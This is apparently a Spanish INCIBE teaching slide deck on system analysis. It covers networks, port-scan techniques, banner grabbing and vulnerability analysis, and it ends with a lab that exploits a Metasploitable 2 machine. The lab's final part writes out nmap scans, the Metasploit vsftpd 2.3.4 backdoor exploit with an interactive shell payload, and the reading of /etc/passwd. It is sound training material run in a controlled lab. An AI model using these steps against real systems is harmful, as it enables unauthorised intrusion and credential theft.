Fundamentos Analisis Sistemas-INCIBE-v2 PDF

Jornadas “Espacios de Ciberseguridad”
Fundamentos del Análisis de Sistemas

Índice
1. INCIBE - ¿Qué es?
2. Introducción a la ciberseguridad
3. Objetivos del curso
4. Contexto
5. Introducción a redes y sistemas
6. Análisis de puertos
7. Análisis de vulnerabilidades
8. Explotación de vulnerabilidades
9. Post-explotación de vulnerabilidades
10. Recursos
11. Resumen
12. Práctica: “Explotando un sistema”
13. Otros datos de interés
Jornadas “Espacios de Ciberseguridad” – Fundamentos del análisis de sistemas 2
INCIBE - ¿Qué es?
El Instituto Nacional de Ciberseguridad de España (INCIBE) es una sociedad dependiente del Ministerio de Industria,
Energía y Turismo (MINETUR) a través de la Secretaría de Estado de Telecomunicaciones y para la Sociedad de la
Información (SETSI).
INCIBE es la entidad de referencia para el desarrollo de la ciberseguridad y de la confianza digital de los ciudadanos, la
red académica y de investigación española (RedIRIS) y las empresas, especialmente para sectores estratégicos (Agenda
Digital para España, aprobada en Consejo de Ministros el 15 de Febrero de 2012).
Como centro de excelencia, INCIBE es un instrumento del Gobierno para desarrollar la ciberseguridad como motor de
transformación social y oportunidad para la innovación. Para ello, con una actividad basada en la investigación, la
prestación de servicios y la coordinación con los agentes con competencias en la materia , INCIBE lidera diferentes
actuaciones para la ciberseguridad a nivel nacional e internacional.
www.incibe.es
3
INCIBE - ¿Qué es?
Pilares fundamentales sobre los que se apoya la actividad de INCIBE
• Prestación de servicios de protección de la privacidad, prevención y reacción a incidentes en ciberseguridad
• Investigación generación de inteligencia y mejora de los servicios
• Coordinación colaboración con entidades públicas y privadas, nacionales e internacionales
Área de Operaciones
Jornadas “Espacios de Ciberseguridad” – Espionaje y Cibervigilancia 4

Jornadas “Espacios Ciberseguridad”
Características Jornadas curso 2015-2016
https://www.incibe.es/excelencia/talento/
JORNADAS PARA PROFESORES JORNADAS PARA ALUMNOS

Profesores de Bachiller y FP tecnológicos. Alumnos de Bachiller y FP tecnológicos.
Formación para impartir las 8 temáticas de manera 1 temática por centro (de las 8 posibles).
autónoma. Grupos de entre 20 y 30 alumnos.
Grupos de entre 20 y 30 docentes. Duración 3h (en una única sesión).
Duración 5h (en una única sesión).
[email protected] [email protected]
MATERIALES ON-LINE (YA DISPONIBLES EN LA PÁGINA WEB DE LAS JORNADAS)

PPT's de las 8 jornadas para alumnos
Vídeos de la impartición de las 8 jornadas íntegras
Documentación adicional para cada jornada:
Conocimientos previos de los alumnos.
Resumen de contenidos y vídeo píldoras de 5min sobre el contenido de cada jornada.
Material complementario para seguir investigando y aprendiendo sobre cada una de
las materias.
Materiales para la impartición de los talleres por parte de los profesores:
PPT presentada en la jornada de profesores.
Dossier completo con la explicación detallada de todas las jornadas de alumnos así
como los temas generales para la preparación de los entornos de prácticas.
5
Otras Actuaciones de interés
Si te gusta la ciberseguridad y quieres profundizar en este tema en INCIBE se están desarrollando las siguientes
actividades y eventos de ciberseguridad:
 Formación especializada en ciberseguridad: MOOC que se desarrollan a través de la plataforma de

formación de INCIBE (http://formacion-online.incibe.es) sobre conceptos avanzados en ciberseguridad tales
como ciberseguridad industrial, seguridad en dispositivos móviles, programación segura, malware y
sistemas TI.
 Programa de becas: Programa de becas anual en el que se establecerán diferentes tipologías de becas:
formación de cursos especializados y másteres en ciberseguridad, y becas de investigación. Todas las
publicaciones de este tipo se realizará a través de la siguiente página
https://www.incibe.es/convocatorias/ayudas/.
 Evento de ciberseguridad – CyberCamp (http://cybercamp.es).
CyberCamp es el evento internacional de INCIBE para identificar, atraer y promocionar el talento en ciberseguridad.
– Identificar trayectorias profesionales de los jóvenes talento.
– Detectar y promocionar el talento mediante talleres y retos técnicos.
– Atraer el talento ofreciendo conferencias y charlas de ciberseguridad por profesionales y expertos de
primer nivel.
Y muchas cosas más….

– Evento para familias, contando con actividades de concienciación y difusión de la ciberseguridad para
padres, educadores e hijos.
– Promoción de la industria e investigación en ciberseguridad.
6
Índice
4. Contexto
10. Recursos
11. Resumen
Introducción a la ciberseguridad
Evolución de las Tecnologías de la Información
• La información es uno de los principales activos de una empresa.
• Las empresas almacenan y gestionan la información en los Sistemas de Información.
• Para una empresa resulta fundamental proteger sus Sistemas de Información para que su información esté a
salvo. Dificultades:
 El entorno donde las empresas desarrollan
sus actividades es cada vez más complejo
debido al desarrollo de las tecnologías de
información y otros factores del entorno
empresarial
 El perfil de un ciberdelincuente de un
sistema informático ha cambiado
radicalmente. Si bien antes los objetivos
podían ser más simples (acceder a un sitio
donde nadie antes había conseguido
llegar) en la actualidad los atacantes se han
percatado de lo importante que es la
información y sobre todo de lo valiosa que
puede llegar a ser.
• Es fundamental poner los medios técnicos y organizativos necesarios para garantizar la seguridad de la
información. Para lograrlo hay que garantizar la confidencialidad, disponibilidad e integridad de la
información.
8
Casos notorios

Seguridad de la Información
La seguridad de la información busca establecer y mantener programas, controles y políticas, que tengan como
finalidad conservar la confidencialidad, integridad y disponibilidad de la información:
• La confidencialidad es la propiedad de prevenir la divulgación de información a personas no
autorizadas.
• La integridad es la propiedad que busca mantener los datos libres de modificaciones no autorizadas.
• La disponibilidad es la característica, cualidad o condición de la información de encontrarse a

disposición de quienes deben acceder a ella, ya sean personas, procesos o aplicaciones.
• La autenticidad: la información es lo que dice ser o el transmisor de la información es quien dice ser.
• El no repudio: Estrechamente relacionado con la Autenticidad. Permite, en caso de ser necesario, que
sea posible probar la autoría u origen de una información.

Riesgos para los Sistemas de Información
¿Qué son los riesgos en los sistemas de información?
• Las amenazas sobre la información almacenada en un sistema informático.
Ejemplos de riesgos en los sistemas de información
• Daño físico: fuego, agua, vandalismo, pérdida de energía y desastres naturales.
• Acciones humanas: acción intencional o accidental que pueda atentar contra la productividad.
• Fallos del equipamiento: fallos del sistema o dispositivos periféricos.
• Ataques internos o externos: hacking, cracking y/o cualquier tipo de ataque.
• Pérdida de datos: divulgación de secretos comerciales, fraude, espionaje y robo.
• Errores en las aplicaciones: errores de computación, errores de entrada, etc.

La figura del HACKER
¿Qué es un hacker?
Experto en seguridad informática, que se dedica a intervenir y/o realizar alteraciones técnicas con
buenas o malas intenciones sobre un producto o dispositivo.
¿Qué tipos de hackers existen en función de los objetivos que tienen?
Black Hat Hackers: Suelen quebrantar la seguridad de un sistema o una red con fines
maliciosos.
White Hat Hackers: normalmente son los que penetran la seguridad de los sistemas bajo
autorización para encontrar vulnerabilidades. Suelen ser contratados por empresas para
mejorar la seguridad de sus propios sistemas.
Gray (Grey) Hat Hackers: Son una mezcla entre los dos anteriores puesto que tienen una ética
ambigua. Normalmente su cometido es penetrar en sistemas de forma ilegal para luego
informar a la empresa víctima y ofrecer sus servicios para solucionarlo.

Clases de ataques
• Interrupción: se produce cuando un recurso, herramienta o la propia red deja de estar disponible
debido al ataque.
• Intercepción: se logra cuando un tercero accede a la información del ordenador o a la que se encuentra
en tránsito por la red.
• Modificación: se trata de modificar la información sin autorización alguna.
• Fabricación: se crean productos, tales como páginas web o tarjetas magnéticas falsas.

Técnicas de hacking
• Spoofing: se suplanta la identidad de un sistema total o parcialmente.
• Sniffing: se produce al escuchar una red para ver toda la información transmitida por ésta.
• Man in the middle: siendo una mezcla de varias técnicas, consiste en interceptar la comunicación entre
dos interlocutores posicionándose en medio de la comunicación y monitorizando y/o alterando la
comunicación.
• Malware: se introducen programas dañinos en un sistema, como por ejemplo un virus, un keylogger
(herramientas que permiten monitorizar las pulsaciones sobre un teclado) o rootkits (herramientas que
ocultan la existencia de un intruso en un sistema).
• Denegación de servicio: consiste en la interrupción de un servicio sin autorización.
• Ingeniería social: se obtiene la información confidencial de una persona u organismo con fines
perjudiciales. El Phishing es un ejemplo de la utilización de ingeniería social, que consigue información
de la víctima suplantando la identidad digital de una empresa u organismo por internet. Se trata de
una práctica muy habitual en el sector bancario.
• Adicionalmente existen multitud de ataques como XSS, CSRF, SQL injection, etc.
14
Mecanismos de defensa
Ante esta figura, ¿cómo pueden protegerse las compañías con las nuevas tecnologías?
Los principales sistemas y más conocidos son los siguientes:
• Firewall: sistemas de restricción de tráfico basado en reglas.

• Sistemas IDS / IPS: (sist. De deteccion / prevencion de intrusos);
sistemas de monitorización, detección y/o prevención de accesos no
permitidos en una red.
• IDS  Escucha la red como un rastreador de puertos (Detecta y analiza, revisando el
contenido y el comportamiento). IPS Reactivo toma decisiones de control en función al
contenido del trafico en lugar de direcciones IP o Puertos.
• Honeypot: Recoge información de los atacantes y los distrae de las

computadoras verdaderamente importantes.
• SIEM: detectar y a seguir la pista a estos posibles ataques
• SEM(Gestión de Eventos de Seguridad)monitoreo en tiempo real,
correlación(relaciona eventos con el fin de convertir los datos en
información) de eventos, notificaciones.
• SIM . (Gestión de Seguridad de la Información) el análisis y la comunicación

de los datos de registro
• Antimalware: sistemas de detección de malware informático.
15
Las prácticas del taller se realizan sobre un entorno controlado.

Utilizar las técnicas mostradas en el presente taller sobre
un entorno real como Internet, puede ocasionar problemas
legales.

Índice
4. Contexto
10. Recursos
11. Resumen
Objetivos del curso
¿Qué vamos a aprender hoy?
• Cómo funcionan las redes de ordenadores.
• Cómo es posible aprovechar fallos en el funcionamiento de dichas redes para
introducirse en los sistemas.
• Qué técnicas y herramientas son los más comunes.
• A comprometer sistemas con dichas técnicas de forma real.
¿Cómo lo vamos a aprender?

1. Teoría.
2. Práctica:
a. Ejercicios prácticos a lo largo de la presentación.
b. Práctica final “Explotando un Sistema”.
Índice
4. Contexto
10. Recursos
11. Resumen
Contexto
¿Qué es la explotación de sistemas informáticos? Pero antes..
• Página web: aplicación adaptada a internet soportados por servidores web.
• El código fuente es interpretado por el servidor.
• El servidor gestiona las conexiones y actúa como intermediario.
• El servidor está soportado por una infraestructura similar a un ordenador.
• Explotación de aplicaciones web: aprovechamiento de fallos de seguridad

en el código fuente, ejemplos:
• Sistemas de autenticación y autorización.
• Inyección de caracteres.
• Intrusión a través de fallos de programación.
• Explotación de sistemas: aprovechamiento del servidor y de la

infraestructura.
• Uso de puntos de entrada.
• Identificación de protocolos débiles.
• Explotación de fallos de seguridad de software.

Contexto
¿Dónde existen más riesgos para dichos ataques?
• Riesgo en LANs >> Riesgo en Internet.
• LANs (Redes de Área Local):
• Conectividad muy alta.
• Capacidad de escucha de la red.
• Pocos dispositivos intermedios.
• Normalmente sin dispositivos de seguridad.
• Ataques menos rastreables.
• Internet:
• Menor capacidad de conexión.
• Muchos dispositivos intermedios.
• Muchos dispositivos de seguridad.
• Mucha mayor exposición a posibles atacantes.
• Ataque rastreable si no se toman precauciones.

Contexto
¿Qué riesgos corremos como usuarios?
• Blancos directos en redes de área local y en redes WiFi:
• Bibliotecas.
• Cafeterías. “REDES WIFI GRATUITAS”
• Aeropuertos.
• Etc.
• De manera indirecta en internet:

• Existen organizaciones dedicadas a buscar servidores vulnerables.
• Una vez explotan dichos servidores, alojan malware en los mismos.
• De manera que los usuarios sean infectados tras visitarlos.

Contexto
Práctica: Sniffing de tráfico de red
• Conectar con una red.
• Abrir la herramienta Wireshark y analizar el tráfico buscando información
sensible.
• A tener en cuenta:
• Durante el ejercicio, autenticarse en cualquier cuenta personal puede exponer las
credenciales de acceso al resto de alumnos.
• Objetivo
• Aprender a seguir el flujo de peticiones y analizar la información sensible capturada.

Índice
4. Contexto
10. Recursos
11. Resumen
Introducción a redes y sistemas
¿Qué son?
• ¿Qué es una red de ordenadores?.
• Interconexión de distintos equipos informáticos.
• Que utilizan los mismos protocolos.
• Y son capaces de comunicarse.
• Tipos de redes según tamaño:

• LAN: Local Area Network
• MAN: Metropolitan Area Network
(Ej. Varios edificios de una Univ.)
• WAN: Wide Area Network
• Otra tipología de redes:

• Públicas
• Privadas
• ¿Qué es un sistema?.
• Un dispositivo informático:
 Servidor
 Ordenador
 Router
 Etc.
¿Qué es el direccionamiento?
• Capacidad de transmitir un mensaje por una red conmutada.
• Enrutamiento se puede hacer mediante direccionamiento:
• MAC  a nivel enlace.
• IP  a nivel red.
• Puerto  a nivel transporte.
Ejemplo código binario
172 . 16 . 254 . 1
• Formato de las direcciones IPv4 10101100 00010000 11111110 00000001
192.168.1.123 192.168.1.1
A1:B2:C3:D4:E5 AA:BB:CC:DD:EE

Práctica: Verificar dirección IP del equipo
• Abrir un terminal del sistema.
• Introducir el comando:
>> ifconfig
• Con el comando anterior se obtiene la configuración de todas las interfaces (eth, wlan…)
• El comando en sistemas Windows es ipconfig
• Objetivo
• Aprender a identificar la configuración IP del equipo y la dirección de la red

¿Cómo viaja el mensaje?
• ¿Qué es necesario conocer para establecer una conexión con un sistema
remoto?.
• IP destino.
• Puerto destino. Puerto: Puntos de entrada a una maquina con el que comunicarse PC’s
• De esta manera, el mensaje llega a su destino.
• El emisor envía el mensaje a su router de salida (gateway).
• Éste lo renviará hacia otros routers que repetirán dicha operación.
• El mensaje llega a su destino. 10.0.2.43
192.168.1.12

Práctica: Analizar la ruta hacia un servidor de Internet
• Introducir el comando:
>> traceroute www.google.com
• Muestra, como nuestra conexión a dado 13 saltos hasta llegar a google.com
• El comando en sistemas Windows es tracert
• Objetivo
• Aprender a identificar los saltos que realiza el paquete hasta llegar a su destino.

¿Qué son los protocolos?
• Reglas usadas por los equipos informáticos para intercambiar información:
• Establecimiento de conexión y desconexión.
• Intercambio de información.
• Para poder entenderse, los equipos han de utilizar los mismos protocolos.
• Normalización de los protocolos mediante modelos basados en capas:
• Reglas usadas por los equipos informáticos para intercambiar información:
• A cada capa se le asigna una función y un protocolo especifico.
• Dos modelos importantes: OSI y TCP/IP.
origen destino
Aplicación Aplicación
Transporte Transporte
Red Red
Enlace Enlace
Física Física

¿Cómo se forma el mensaje IP?
• El mensaje IP se forma por:
• La cabecera  Indica todo lo necesario para que el paquete llegue a su destino
• Los datos  Lugar donde va toda la información
• Es importante conocer el campo Flags, el cual son tres bits que indican
cierta prioridad en el mensaje.

¿Cómo se establece la conexión?
• La negociación de la conexión se realiza mediante tres pasos (TCP 3-way
handshake).
• SYN  Paquete de sincronización

• ACK  Paquete de confirmación de llegada
• Mediante el TCP 3-way handshake y sus variantes, se realizan los escáneres
de puertos. De esta manera es posible ver qué puertos poseen los equipos
objetivo y por cuales sería posible entrar.

Métodos de obtención de información
Consulta de dominios
Nslookup
• Consulta DNS para obtener el nombre del dominio o la IP de un sitio
web.
• Ejemplo:
• Indica la IP asociada a una dirección Web.
• Ej: nslookup www.terra.es

Práctica: Ver conexiones abiertas
• Introducir el comando: NETSTAT  Conexiones activas en una computadora
>> netstat
• Las conexiones aparecen con IP y puerto origen y destino.
• Objetivo
• Identificar las conexiones abiertas, a través de qué servicio y con qué destino.

¿Qué son los puertos?
• Interfaz para comunicarse con un programa especifico a través de la red.
• Cada puerto únicamente puede proveer un servicio de forma simultánea.
• Estado de los puertos:
• Abierto: en dicho puerto se provee un servicio.
• Filtrado: un firewall está restringiendo la conexión.
• Cerrado: en dicho puerto no se provee un servicio.
• Algunos puertos y sus servicios más comunes:
Puerto Servicio
21 FTP
22 SSH (Secure Shell)
23 TELNET
53 DNS
80 HTTP
443 HTTPS

¿Qué son los servicios?
• Son los programas que se están ejecutando en cada uno de los puertos.
• Algunos servicios comunes y su función:
• FTP:
• Protocolo para la transferencia de ficheros.
• Por defecto en el puerto 21.
• TELNET:
• Protocolo para el control remoto de sistemas a través de comandos.
• DNS:
• Protocolo para la resolución de nombres de dominio.
• HTTP:
• Protocolo utilizado para la comunicación con aplicaciones web.
• HTTPS:  Las credenciales se cifran para evitar robos de snifing
• Protocolo utilizado para la comunicación cifrada con aplicaciones web.

Índice
4. Contexto
10. Recursos
11. Resumen
Análisis de puertos
¿Qué es un análisis de puertos?
• Un barrido de las conexiones establecidas a uno o varios puertos de un
sistema.
¿Para qué sirve el análisis de puertos?

• Para averiguar qué puertos y servicios están abiertos.
• Normalmente con fines de administración de sistemas.
• Y en otras ocasiones con fines maliciosos.
¿Qué información puede obtener un atacante?

• Puntos de entrada al sistema
• Servicios en ejecución. Aprovechar las vulnerabilidades
• Versiones del software y los servicios.

¿Cómo se realiza el análisis de puertos? 3 WAY HANDSHAKE
• El ordenador origen intenta establecer conexiones con cada uno de los
puertos del sistema a analizar. En función de la respuesta de cada uno de los
puertos del sistema analizado, se establece si el puerto está abierto, cerrado
o filtrado. SYN  Sincronización. ACK  OK RST  Reset
- Sondeo puerto 80  abierto
SYN puerto 80
SYN / ACK
RST / ACK
- Sondeo puerto 81  cerrado
SYN puerto 81
RST
- Sondeo puerto 82  filtrado
SYN puerto 82

Tipos de escaneos de puertos (I)
• Existen varios tipos de escaneos de puertos con distintas características:
• Robustos.
• De evaluación de firewalls.
• De evasión de firewalls.
• Silenciosos.
• Ocultación.
TODOS se utilizan para saber si un equipo remoto tiene algún puerto abierto.
• TCP Scan: 3 WAY HANDSHAKE (el anterior)

• Establecimiento completo de una conexión.
• 3-way handshake.
SYN
SYN
SYN / ACK
RST
RST / ACK
Abierto Cerrado

Tipos de escaneos de puertos (II)
• Stealth Scan (Half-Open Scan):
• Establecimiento incompleto de una conexión.
• Utilizado para la evasión de firewalls, evadir mecanismos de login y para ocultarse en el
tráfico.
SYN
SYN
SYN / ACK
RST
RST
Abierto Cerrado
• ACK Scan:
• Envío únicamente de la confirmación de recepción.
• Utilizado para la detección de firewalls.
ACK ACK
RST Sin respuesta
No hay firewall Firewall

Tipos de escaneos de puertos (III)
• Xmas Scan: Problemas  fácil detección y deja al descubierto la IP del atacante
• Envío de parte de 1 paquete TCP con todos los flags activados.
Banderas (Bits de estado)
• No funciona contra sistemas Windows.
FIN / URG / PUSH
FIN / URG / PUSH
Sin respuesta RST
Abierto Cerrado
• FIN Scan: No funciona en sistemas Windows

• Envío de un paquete con solo el flag FIN.
FIN FIN
Sin respuesta RST / ACK
Abierto Cerrado

Tipos de escaneos de puertos (IV)
• NULL Scan:
• Envío de un paquete sin flags activados.
Sin flags Sin flags
Sin respuesta RST / ACK
Abierto Cerrado
• UDP Scan: (no orientado a conexión)

• Para la transferencia de información streaming(transferencia alta de archivos)
• Envío de un paquete UDP, no existe 3-way handshake.
UDP UDP
Sin respuesta ICMP
abierto cerrado

Otras técnicas de análisis de puertos (I)
• Fragmentación: Técnica que combinada con el análisis de puertos permite:
• Evasión de firewalls.
Cabecera Datos
Cabecera Datos fragmento 1 Cabecera Datos fragmento 4
Cabecera Datos fragmento 2 Cabecera Datos fragmento 3
Fragmentamos un paquete en distintos trozos y conseguimos evadir la

restricción, que de forma completa era bloqueado.

Otras técnicas de análisis de puertos (II)
• Port tunneling: Técnica que combinada con el análisis de puertos permite:
• Ocultación.
PC3
TCP 21
TCP 80
PC2
• Si vemos que por el puerto 21 hay un cortafuegos, utilizamos otro puerto(el 80) para
acceder al pc2 y a través de este, al que queremos acceder (PC3)
• Ejemplo de reglas del firewall:

• Denegar un rango de IP’s.
• Permitir tráfico por el puerto 80.

Otras técnicas de análisis de puertos (III)
• IP Spoofing: Se consigue con programas destinados a esto. Técnica que
combinada con el análisis de puertos; permite:
• Ocultación y Suplantación.
• Se suplanta la dirección origen (PC1) por otra(…1.55) entonces la comunicación se crea entre la
.55 y PC2.
Spoofed packet
IP origen: 192.168.1.55
IP destino: 192.168.1.99
PC1 192.168.1.12 192.168.1.99

PC2
• Cuando se realiza IP Spoofing, la respuesta de la víctima se dirige a la IP

falseada.
• Esta técnica se suele utilizar para denegaciones de servicio o si el sistema de
la IP falseada está bajo nuestro control.

Banner grabbing
• El banner grabbing consiste en la extracción de información de los puertos
abiertos  Para encontrar vulnerabilidades para explotar la maquina,
• Esta información está relacionada con el servicio y versión que se está
ejecutando en dicho puerto.
• De esta manera, se extrae información de los posibles vectores de ataque
que tenemos.
• Ejemplo:
• Banner de un puerto 80 que está ejecutando el servicio http.
Estos datos se utilizan

Para buscar vulnerabilidades

Práctica: Identificar el banner web
• Introducir el comando: TELNETProtocolo para acceder a una ordenador
remoto; en nuestro caso, CONSULTA REMOTA DE DATOS.
>> telnet <IP> <puerto>
• Existen otras técnicas para obtener el banner web.
• Objetivo
• Identificar la tecnología y versión del servidor.

Jornadas de Ciberseguridad – [Título Ponencia] 49

Índice
4. Contexto
10. Recursos
11. Resumen
Análisis de vulnerabilidades
¿Qué es?
• La detección de servicios, protocolos o software vulnerables.
¿Qué quiere decir vulnerable?

• Que posee fallos de seguridad conocidos.
• Cuyo proceso de explotación está publicado, documentado y accesible.
Ejemplo:
• Una página web está soportada por un servidor web Apache.
• La versión de dicho servidor posee una vulnerabilidad conocida y
documentada.
• Un atacante utiliza la documentación citada para obtener el control del
servidor.

¿Cómo se realiza?
• El descubrimiento y análisis de servicios en internet vulnerables está basado
en:
• Análisis de puertos.
• Banner Grabbing.
• Una vez obtenidos los puertos abiertos y los servicios en ejecución y sus
versiones:
• Se comparan las versiones y servicios con una base de datos de vulnerabilidades
conocidas.
• Si alguna coincide, se considera vulnerable al servicio.
• Es posible que existan falsos positivos y que realmente no sea vulnerable.
• Este proceso se automatiza mediante programas que realizan las siguientes
fases:
• Análisis de puertos.
• Banner Grabbing.
• Comparación con base de datos de vulnerabilidades.

Nmap  Programa para encontrar vulnerabilidades.
• Descargable.
• Se trata del escáner de puertos muy completo y utilizado. Dos versiones:
 Comandos apt-get install
 Gráficamente.

OpenVAS
• El escáner de vulnerabilidades abierto: problema: descargarse 3gb de
exploits
Fuente: www.openvas.org

Índice
4. Contexto
10. Recursos
11. Resumen
Explotación de vulnerabilidades
¿En qué consiste?
• Consiste en aprovechar las vulnerabilidades de un servicio o protocolo, para
realizar una acción no permitida en el sistema:
• Obtener acceso al sistema o a la base de datos.
• Obtener información confidencial.
• Modificar, eliminar o añadir información.
• Causar daños en el sistema.
• Etc.
¿Cómo se realiza?
• Tanto de forma manual o utilizando exploits.

¿Qué es un exploit?
• Es un fragmento/parte de código especialmente preparado para explotar
una vulnerabilidad para la cual:
• Puede existir un parche que soluciona la vulnerabilidad.
• No existe un parche para solucionar la vulnerabilidad, en cuyo caso se denomina 0-day.
• Normalmente, son pequeños programas en los que el atacante únicamente
tiene que especificar:
• IP destino.
• Puerto destino.
• Otros parámetros propios de la vulnerabilidad.
• El payload.

¿Qué es un payload?
• Es otro fragmento de código que va siempre asociado al exploit.
• Mientras que con el exploit se explota una vulnerabilidad del programa, y el
payload ejecuta una acción provechosa para el atacante.
• PUEDE HABER VARIOS PAYLOAD PARA UN EXPLOIT.

• Ejemplo:
• Ejecutamos un exploit en un sistema vulnerable.
• A ese exploit le asociamos un payload que, por ejemplo, va a crear un usuario
administrador en el sistema con credenciales conocidas.
Vulnerabilidad
Acceso al sistema
Exploit
Payload

Índice
4. Contexto
10. Recursos
11. Resumen
Post-explotación de vulnerabilidades
¿Y ahora qué?
• Una vez se ha obtenido acceso al sistema, los atacantes tienen multitud de
opciones:
• Robo de información.
• Modificación de datos.
• Realización de daños al sistema.
• Robo de identidad.
• Espionaje.
• Robo de datos personales.
• Extorsión.
• Fraude.
• Uso del sistema comprometido para saltar a otro sistema (pivoting).
• Etc.

Índice
4. Contexto
10. Recursos
11. Resumen
Recursos
Bases de datos de vulnerabilidades
Son bases de datos públicas. Indican código de vulnerabilidad, como explotarlas, etc..
• Common Vulnerabilities and Exposures (CVE)  cve.mitre.org
• National Vulnerability Database (NVD)  nvd.nist.gov

Recursos
Bases de datos de Exploits
• Bases de datos públicas
• Foros underground.
• Foros especializados en seguridad.
• Mercado negro.

Índice
4. Contexto
10. Recursos
11. Resumen
Resumen
Ciclo de vida de un ataque a un sistema
IDENTIFICACIÓN DEL ANÁLISIS DE PUERTOS Y ANÁLISIS DE EXPLOTACIÓN DE POST-EXPLOTACIÓN

OBJETIVO SERVICIOS VULNERABILIDADES VULNERABILIDADES DEL SISTEMA
Tenemos
control total
del sistema.

Resumen
Cuestiones
1. ¿Qué es el 3-way handshake?
2. ¿En qué consiste el análisis de puertos? ¿Qué técnicas de análisis de puertos

hay?
3. ¿Qué es el Banner grabbing?
4. ¿Cuál es la función de un escáner de vulnerabilidades?
5. ¿Qué es un exploit?

Resumen
Respuestas
1. Es el método que se emplea en el modelo TCP (Protocolo de Control de Transmisión) para
establecer una conexión entre dos máquinas, cliente y servidor. Consta de tres etapas: (1) El
cliente envía un paquete SYN al servidor, (2) El servidor responde con un paquete SYN/ACK, (3)
El cliente responde con un paquete ACK.
2. Consiste en analizar el estado de los puertos de un equipo o una red, con el fin de detectar
posibles vulnerabilidades en función de los puertos que estén abiertos y los servicios que se
ofrecen. Existen varias técnicas como: TCP Scan, Stealth Scan, ACK Scan, Xmas Scan, FIN Scan,
etc.
3. Es una técnica utilizada para extraer información de los banners que ofrecen los servicios y que
revelan información sobre el tipo y versión del software utilizado. Se emplea para extraer
información de los posibles vectores de ataque.
4. Esta herramienta se emplea para automatizar todo o parte de la labor de búsqueda de

vulnerabilidades en un equipo o una red, pudiendo realizar el análisis de puertos, banner
grabbing, etc.
5. Es un fragmento de código especialmente preparado para explotar una vulnerabilidad

conocida.

Índice
4. Contexto
10. Recursos
11. Resumen
Práctica: “Explotando un sistema”
Entorno de trabajo
• Kali Live  Distribución Linux especializada para intrusión y seguridad.
• Red de área local  Donde se conectarán los equipos.
• Metasploitable 2  Máquina vulnerable conectada a la misma red de área
local.
Alumno 1
Alumno 2
Metasploitable
Router
Alumno n

PARA EXPLOTAR UN SISTEMA  LO 1º  COMPROBAR SI PODEMOS ACCEDER AL MÍSMO
Probando la conectividad
• Herramienta:
 Ping.
• Procedimiento:
 Abrir una consola del sistema.
 Introducir el comando.
ping <dirección IP> (NUESTRO CASO: METAEXPLOITABLE)

Identificación de equipos activos en la red
• Herramienta:
 Nmap  Identifica los equipos activos que estan en la red en la que estamos, porque
NMAP hace un scaneo de puertos de la red, de ahí que los identifique.
• Procedimiento:
nmap –sP <dirección IP .0 > /24  Busca desde la .0 hasta la .254

Identificación de puertos y sistema operativo
• Herramienta:
 NMap.
• Procedimiento:
nmap –sT <dirección IP METAEXPLOITABLE>  MUESTRA LOS PUERTOS Y SERVICIOS
ABIERTOS, QUE SE ESTAN EJECUTANCDO EN DICHA MAQUINA.

Identificación de servicios (I) AUTOMATICO
Vamos a saber las versiones de los servicios que se están
ejecutando. Herramienta:
 NMap.
• Procedimiento:
nmap –sT –sV <dirección IP METAEXPLOITABLE> AHORA PODEMOS SABER SI ESAS
VERSIONES TIENE VULNERABILIDADES.

Identificación de servicios (II) MANUAL
• Herramienta:
 Telnet  Lo mismo que lo anterior pero ahora manualmente y de forma remota.
• Procedimiento:
telnet <dirección IP metaexploitable> <puerto>

Pruebas de contraseñas
• Herramienta:
• FTP  Protocolo para transferencia de ficheros
• SSH  Protocolo para acceder a maquinas remotas y manejarlas
• Telnet
• Procedimiento:
• Abrir una consola del sistema.
• Introducir el comando.
telnet <dirección IP>
ftp <dirección IP>
ssh <dirección IP>
• En todos aparecerá la petición de password.

Explotación del sistema
 Como ya sabemos puertos abiertos y versiones, vamos a utilizar un exploit para explotar
esta vulnerabilidad.
 Metasploit
• Procedimiento:
msfconsole
Search ftp  Devuelve las vulnerabilidades que tenemos disponibles para ftp.
Buscamos el exploit/unix/ftp/vsftpd_234_backdoor …. .. . .. . VSFTPD 2..3.4

– PARA UTILIZAR ESE EXPLOIT:
– use exploit/unix/ftp/vsftpd_234_backdoor (cargamos un exploit que tenemos

para entrar en la maquina).
– Ya LO TENEMOS CARGADO.
– Tenemos que ver si hay que configurar algún parametro:
» Show options
• set rhost <IP metaexploitable>  RHOST = maquina remota = maquina
vulnerable.
• Show payloads  Tenemos solo 1, que nos abrirá una consola para
interactuar.
• set payload cmd/unix/interact PARA CARGAR LA ACCION
• exploit  EJECUTAMOS ESTE COMANDO PARA ACCEDER ALA MAQUINA DE

FORMA REMOTA
Jornadas de Ciberseguridad – [Título Ponencia] 77

Post-Explotación del sistema: Ataques o acciones
• Herramienta:
 Metasploit + Payload (Reverse Shell)
• Procedimiento:
ls
cat etc/passwd (PARA LEER) ó sudo nano etc/passwd
Para salir:
CTRL+C
EXIT

Índice
4. Contexto
10. Recursos
11. Resumen
Encuesta de satisfacción
https://goo.gl/8jcNUO
80
Contacto (más información y dudas sobre las jornadas):
Gracias [email protected]
por tu atención En las redes sociales:
@incibe
@certsi Oficina de Seguridad del internauta
@osiseguridad (Pienso luego clico)
@CyberCampES
INCIBE Oficina de Seguridad del internauta

OSIseguridad CyberCamp
Pág. INCIBE
Contáctanos Grupo INCIBE

Oficina de Seguridad del internauta
En la sede: En los sitios web:

Avenida José Aguado, 41 - Edificio INCIBE www.incibe.es
24005 León www.osi.es
Tlf. 987 877 189 www.cybercamp.es

Fundamentos Analisis Sistemas-INCIBE-v2 PDF

Cargado por

Copyright:

Formatos disponibles

Fundamentos Analisis Sistemas-INCIBE-v2 PDF

Cargado por

Información del documento

Descripción original:

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Fundamentos Analisis Sistemas-INCIBE-v2 PDF

Cargado por

Copyright:

Formatos disponibles

Jornadas “Espacios de Ciberseguridad”

Fundamentos del Análisis de Sistemas

Jornadas “Espacios de Ciberseguridad” – Espionaje y Cibervigilancia 4

JORNADAS PARA PROFESORES JORNADAS PARA ALUMNOS

MATERIALES ON-LINE (YA DISPONIBLES EN LA PÁGINA WEB DE LAS JORNADAS)

 Formación especializada en ciberseguridad: MOOC que se desarrollan a través de la plataforma de

 Evento de ciberseguridad – CyberCamp (http://cybercamp.es).

Y muchas cosas más….

Jornadas “Espacios de Ciberseguridad” – Espionaje y Cibervigilancia 9

• La disponibilidad es la característica, cualidad o condición de la información de encontrarse a

Jornadas “Espacios de Ciberseguridad” – Espionaje y Cibervigilancia 10

Ejemplos de riesgos en los sistemas de información

